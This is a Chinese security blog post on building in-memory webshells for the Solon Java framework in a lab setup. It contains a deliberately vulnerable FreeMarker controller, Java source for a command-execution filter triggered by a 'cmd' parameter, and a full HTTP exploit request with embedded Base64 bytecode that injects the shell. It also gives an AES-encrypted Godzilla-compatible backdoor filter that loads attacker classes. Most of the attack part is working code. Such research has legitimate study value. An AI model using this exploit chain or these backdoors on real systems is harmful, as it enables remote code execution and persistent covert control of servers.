Solon 哥斯拉内存马(最适合年轻人的第一个内存马)

前言

去年8月就在星球看到ABU师傅发solon内存马了,直到现在才准备看一下。结果发现确实简单,真的属于是最适合年轻人的第一个内存马。并且我发现官网demo中有Freemarker依赖,正好可以写一个漏洞环境。

简介

Solon是一个高性能的Java应用开发框架,它具有轻量级、易于使用、高性能和可扩展等特点。

Solon请求处理过程示意图如下所示,Web处理会经过四个路段:过滤器(Filter) -> 路由拦截器(RouterInterceptor) -> 处理器(Handler) -> 拦截器(Interceptor)。

9e9e9246d996491f80a83a38e9e7f575

环境搭建

利用官网给出的项目模板搭建即可,https://solon.noear.org/article/learn-quickstart 。然后我们写一个有freemarker解析漏洞的controller,用来后面实例化我们的内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example.demo;

import freemarker.cache.StringTemplateLoader;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;

import java.io.IOException;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;

@Controller
public class DemoController {
private final Configuration cfg;
private final StringTemplateLoader templateLoader;

public DemoController() {
this.cfg = new Configuration(Configuration.VERSION_2_3_30);
this.templateLoader = new StringTemplateLoader();
cfg.setTemplateLoader(templateLoader);
}


@Mapping("/hello")
public String hello(@Param(defaultValue = "world") String name) {
return String.format("Hello %s!", name);
}

@Mapping("/hello2")
public ModelAndView hello2(@Param(defaultValue = "world") String name) {
return new ModelAndView("hello2.ftl").put("name", name);
}


@Mapping("/vuln")
public String renderTemplate(@Param String template) throws TemplateException, IOException {
// 检查模板是否为 null
if (template == null) {
throw new IllegalArgumentException("Template content cannot be null");
}

// 将用户输入的模板存入 TemplateLoader
String templateName = "userTemplate";
templateLoader.putTemplate(templateName, template);

// 通过 TemplateLoader 获取模板
Template freemarkerTemplate = cfg.getTemplate(templateName);

Map<String, Object> dataModel = new HashMap<>();

StringWriter out = new StringWriter();
// 解析
freemarkerTemplate.process(dataModel, out);

return out.toString();
}
}

能正常访问就没问题了。

Snipaste_2025-04-21_16-21-066

Filter内存马构造

过程分析

根据官网示例,随便写一个Filter,然后在/hello路由下个断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.demo;



import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;


@Component
public class AppFilter implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println("filter");
chain.doFilter(ctx);
}

}

可以看到,最先调用doFilter方法是在org.noear.solon.core.ChainManager#doFilter,其中,filterNodes中存储着我们自定义Filter的实例。

Snipaste_2025-04-21_15-00-44

然后我们可以发现filterNodes是一个集合实例,那肯定会有往集合添加元素的操作。通过源码,可以看到实际向该集合添加过滤器的就是org.noear.solon.core.ChainManager#addFilterorg.noear.solon.core.ChainManager#addFilterIfAbsent这两个方法,它们其实都差不多,区别在于addFilter可以添加重复的filter,addFilterIfAbsent只会添加一次。

Snipaste_2025-04-21_15-04-41

接下来就是找谁调用了addFilter。Ctrl+鼠标左键,跟进org.noear.solon.core.route.RouterWrapper,在初始化路由的时候,会对ChainManager进行初始化,通过调用addFilter方法来添加Filter,也就是说我们可以通过获取上下文中的_chainManager字段,来添加恶意的Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public abstract class RouterWrapper implements HandlerSlots {
private Router _router;
private RouterHandler _routerHandler;
private ChainManager _chainManager;

protected void initRouter(SolonApp app) {
//顺序不能换
_chainManager = new ChainManager(app);
_router = new RouterDefault();
_routerHandler = new RouterHandler(_router, _chainManager);
}

public void filter(int index, Filter filter) {
_chainManager.addFilter(filter, index);
}
}

在我们自己写的Filter打个断点,尝试使用java-object-searcher来搜索获取到_chainManager字段的链。(我用c0ny1师傅的不行,用的7rovu师傅的修复版https://github.com/7rovu/java-object-searcher)

Snipaste_2025-04-21_16-21-04

1
2
3
4
5
6
7
8
9
10
11
12
// 搜索_chainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread());
// 打开调试模式, 会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/tmp");
searcher.searchObject();

在结果中选择一条合适的链就行。

1
2
3
4
5
6
7
8
9
10
11
TargetObject = {java.lang.Thread} 
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [6] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}
---> _request = {org.smartboot.http.server.impl.HttpRequestImpl}
---> request = {org.smartboot.http.server.impl.Request}
---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler}
---> handler = {org.noear.solon.boot.smarthttp.integration.SmHttpPlugin$$Lambda$99/645482568}
---> arg$1 = {org.noear.solon.SolonApp}
---> _chainManager = {org.noear.solon.core.ChainManager}

对于获取请求上下文,可以参考官方文档中的认识请求上下文,利用Context ctx = Context.current();来直接获取当前上下文。

具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.example.demo;


import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;


public class FilterMemoryShellController {

public FilterMemoryShellController() {
try {
injectFilter();
} catch (Exception e) {
e.printStackTrace();
}
}

public void injectFilter() throws Exception {
Filter evilFilter = (ctx, chain) -> {
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doFilter(ctx);
};

Context ctx = Context.current();
if (ctx != null) {
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addFilter(evilFilter, 0);
}
}

public Object getfieldobj(Object obj, String fieldName) throws Exception {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}
}

利用jmg生成一个freemarker包装的模板,放上我们内存马的字节码。注意:内存马需要url编码。(要是没有ScriptEngineManager的话该怎么活啊~安全行业不能没有ScriptEngineManager,就像西方不能失去耶路撒冷)。

image-20250421163428978

1
2
3
4
5
6
7
8
9
10
11
12
POST http://192.168.112.138:8080/vuln HTTP/1.1
Host: 192.168.112.138:8080
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 6993
Content-Type: application/x-www-form-urlencoded

template=${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apache.logging.qs.DateUtil').newInstance();}catch (e){var clsString = classLoader.loadClass('com.example.demo.FilterMemoryShellController');var bytecodeBase64 = 'yv66vgAAADQA2QoALgBpCgAtAGoHAGsKAAMAbBIAAABxCgByAHMIADwKAC0AdAgAPggAPwgAQAgAQQgAQgcAdQoADgB2CgAuAHcKAHgAeQoAegB7CgB6AHwKAHgAfQgAfgoAcgB/CACACgCBAIIKABwAgwgAhAoAHACFBwCGCACHCACICACJCACKCgCLAIwKAIsAjQoAjgCPBwCQCgAkAJEIAJIKACQAkwoAJACUCgAkAJUIAJYKAHIAlwsAmACZBwCaBwCbAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAuTGNvbS9leGFtcGxlL2RlbW8vRmlsdGVyTWVtb3J5U2hlbGxDb250cm9sbGVyOwEADVN0YWNrTWFwVGFibGUHAJoHAGsBAAxpbmplY3RGaWx0ZXIBAAhfcmVxdWVzdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB3JlcXVlc3QBAA1zZXJ2ZXJIYW5kbGVyAQAHaGFuZGxlcgEABWFyZyQxAQANX2NoYWluTWFuYWdlcgEAI0xvcmcvbm9lYXIvc29sb24vY29yZS9DaGFpbk1hbmFnZXI7AQAKZXZpbEZpbHRlcgEAJExvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvRmlsdGVyOwEAA2N0eAEAJUxvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvQ29udGV4dDsHAJwHAJ0BAApFeGNlcHRpb25zAQALZ2V0ZmllbGRvYmoBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAA29iagEACWZpZWxkTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEE1ldGhvZFBhcmFtZXRlcnMBABVsYW1iZGEkaW5qZWN0RmlsdGVyJDABAFEoTG9yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0O0xvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvRmlsdGVyQ2hhaW47KVYBAAdpc0xpbnV4AQABWgEABW9zVHlwAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQAFY2hhaW4BAClMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0ZpbHRlckNoYWluOwcAhgcAWQcAngcAkAcAnwcAoAEAClNvdXJjZUZpbGUBACBGaWx0ZXJNZW1vcnlTaGVsbENvbnRyb2xsZXIuamF2YQwALwAwDAA7ADABABNqYXZhL2xhbmcvRXhjZXB0aW9uDAChADABABBCb290c3RyYXBNZXRob2RzDwYAohAAVA8GAKMMAKQApQcAnQwApgCnDABLAEwBACFvcmcvbm9lYXIvc29sb24vY29yZS9DaGFpbk1hbmFnZXIMAKgAqQwAqgCrBwCsDACtAK4HAK8MALAAsQwAsgCzDAC0AKsBAANjbWQMALUAtgEAB29zLm5hbWUHALcMALgAtgwAuQC6AQADd2luDAC7ALwBABBqYXZhL2xhbmcvU3RyaW5nAQACc2gBAAItYwEAB2NtZC5leGUBAAIvYwcAvQwAvgC/DADAAMEHAMIMAMMAxAEAEWphdmEvdXRpbC9TY2FubmVyDAAvAMUBAAJcQQwAxgDHDADIAMkMAMoAugEAAAwAXgDLBwCfDACkAMwBACxjb20vZXhhbXBsZS9kZW1vL0ZpbHRlck1lbW9yeVNoZWxsQ29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBACJvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvRmlsdGVyAQAjb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0NvbnRleHQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAnb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0ZpbHRlckNoYWluAQATamF2YS9sYW5nL1Rocm93YWJsZQEAD3ByaW50U3RhY2tUcmFjZQoAzQDOCgAtAM8BAAhkb0ZpbHRlcgEAJigpTG9yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9GaWx0ZXI7AQAHY3VycmVudAEAJygpTG9yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0OwEACWFkZEZpbHRlcgEAKChMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0ZpbHRlcjtJKVYBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwEABXBhcmFtAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAoKExvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvQ29udGV4dDspVgcA0AwA0QDVDABTAFQBACJqYXZhL2xhbmcvaW52b2tlL0xhbWJkYU1ldGFmYWN0b3J5AQALbWV0YWZhY3RvcnkHANcBAAZMb29rdXABAAxJbm5lckNsYXNzZXMBAMwoTGphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXA7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlOylMamF2YS9sYW5nL2ludm9rZS9DYWxsU2l0ZTsHANgBACVqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwAQAeamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzACEALQAuAAAAAAAEAAEALwAwAAEAMQAAAHcAAQACAAAAESq3AAEqtgACpwAITCu2AASxAAEABAAIAAsAAwADADIAAAAaAAYAAAAPAAQAEQAIABQACwASAAwAEwAQABUAMwAAABYAAgAMAAQANAA1AAEAAAARADYANwAAADgAAAAQAAL/AAsAAQcAOQABBwA6BAABADsAMAACADEAAAEFAAMACQAAAFK6AAUAAEy4AAZNLMYARiosEge2AAhOKi0SCbYACDoEKhkEEgq2AAg6BSoZBRILtgAIOgYqGQYSDLYACDoHKhkHEg22AAjAAA46CBkIKwO2AA%2bxAAAAAwAyAAAALgALAAAAGAAGAC0ACgAuAA4ALwAWADAAHwAxACkAMgAzADMAPQA0AEoANQBRADcAMwAAAFwACQAWADsAPAA9AAMAHwAyAD4APQAEACkAKAA/AD0ABQAzAB4AQAA9AAYAPQAUAEEAPQAHAEoABwBCAEMACAAAAFIANgA3AAAABgBMAEQARQABAAoASABGAEcAAgA4AAAACwAB/QBRBwBIBwBJAEoAAAAEAAEAAwABAEsATAADADEAAAC3AAIABQAAAC8rtgAQLLYAEU4tBLYAEi0rtgATsE4rtgAQtgAULLYAEToEGQQEtgASGQQrtgATsAABAAAAEwAUAAMAAwAyAAAAHgAHAAAAOwAJADwADgA9ABQAPgAVAD8AIgBAACgAQQAzAAAAPgAGAAkACwBNAE4AAwAiAA0ATQBOAAQAFQAaADQANQADAAAALwA2ADcAAAAAAC8ATwA9AAEAAAAvAFAAUQACADgAAAAGAAFUBwA6AEoAAAAEAAEAAwBSAAAACQIATwAAAFAAABAKAFMAVAADADEAAAGRAAUACAAAAKEqEhW2ABbGAIsEPRIXuAAYTi3GABEttgAZEhq2ABuZAAUDPRyZAB0GvQAcWQMSHVNZBBIeU1kFKhIVtgAWU6cAGga9ABxZAxIfU1kEEiBTWQUqEhW2ABZTOgS4ACEZBLYAIrYAIzoFuwAkWRkFtwAlEia2ACc6BhkGtgAomQALGQa2ACmnAAUSKjoHKhkHtgArpwAITSy2AAQrKrkALAIAsQABAAAAkQCUAAMAAwAyAAAAPgAPAAAAGgAJABsACwAcABEAHQAhAB4AIwAhAFoAIgBnACMAdwAkAIsAJQCRACkAlAAnAJUAKACZACoAoAArADMAAABcAAkACwCGAFUAVgACABEAgABXAFEAAwBaADcAWABZAAQAZwAqAFoAWwAFAHcAGgBcAF0ABgCLAAYAXgBRAAcAlQAEADQANQACAAAAoQBGAEcAAAAAAKEAXwBgAAEAOAAAADAACP0AIwEHAGEdVgcAYv4ALgcAYgcAYwcAZEEHAGH/AAcAAgcASQcAZQAAQgcAOgQASgAAAAQAAQBmAFIAAAAJAgBGEAAAXxAAAAMAZwAAAAIAaADUAAAACgABANIA1gDTABkAbQAAAAwAAQBuAAMAbwBwAG8%3d';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}")}

image-20250421163039755

哥斯拉Solon Filter内存马构造

哥斯拉并不依赖request,把上面的马改一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
package com.example.demo;

import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class GodzillaSolonFilter {
private String xc = "3c6e0b8a9c15224a";
private String pass = "pass";
private String md5 = md5(pass + xc);
private Class<?> payload;

public GodzillaSolonFilter() {
try {
injectFilter();
} catch (Exception e) {
e.printStackTrace();
}
}

public void injectFilter() throws Exception {
Filter evilFilter = (ctx, chain) -> {
try {
String paramContent = ctx.param(pass);
if (paramContent != null) {
byte[] data = base64Decode(paramContent);
data = x(data, false);

if (payload == null) {
payload = defClass(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(ctx.request());

ctx.output(md5.substring(0, 16));
f.toString();
ctx.output(base64Encode(x(arrOut.toByteArray(), true)));
ctx.output(md5.substring(16));
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doFilter(ctx);
};

Context ctx = Context.current();
if (ctx != null) {
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addFilter(evilFilter, 0);
}
}

// 加载类字节码
private Class<?> defClass(byte[] classBytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}

// AES加解密
private byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

// Base64编码
private static String base64Encode(byte[] bs) throws Exception {
Class<?> base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

// Base64解码
private static byte[] base64Decode(String bs) throws Exception {
Class<?> base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

// MD5计算
private static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

private Object getfieldobj(Object obj, String fieldName) throws Exception {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}
}

image-20250421163636428

image-20250421163726807

对下面的话理解的更深了,只能说哥斯拉YYDS。

image-20250421163759698

参考链接

java-object-searcher

Solon框架内存马

解决哥斯拉内存马pagecontext的问题

Solon框架蚁剑内存马实现

哥斯拉原理分析


Solon 哥斯拉内存马(最适合年轻人的第一个内存马)
https://sp4rks3.github.io/2025/04/21/JAVA安全/内存马/Solon内存马分析/
作者
Sp4rks3
发布于
2025年4月21日
许可协议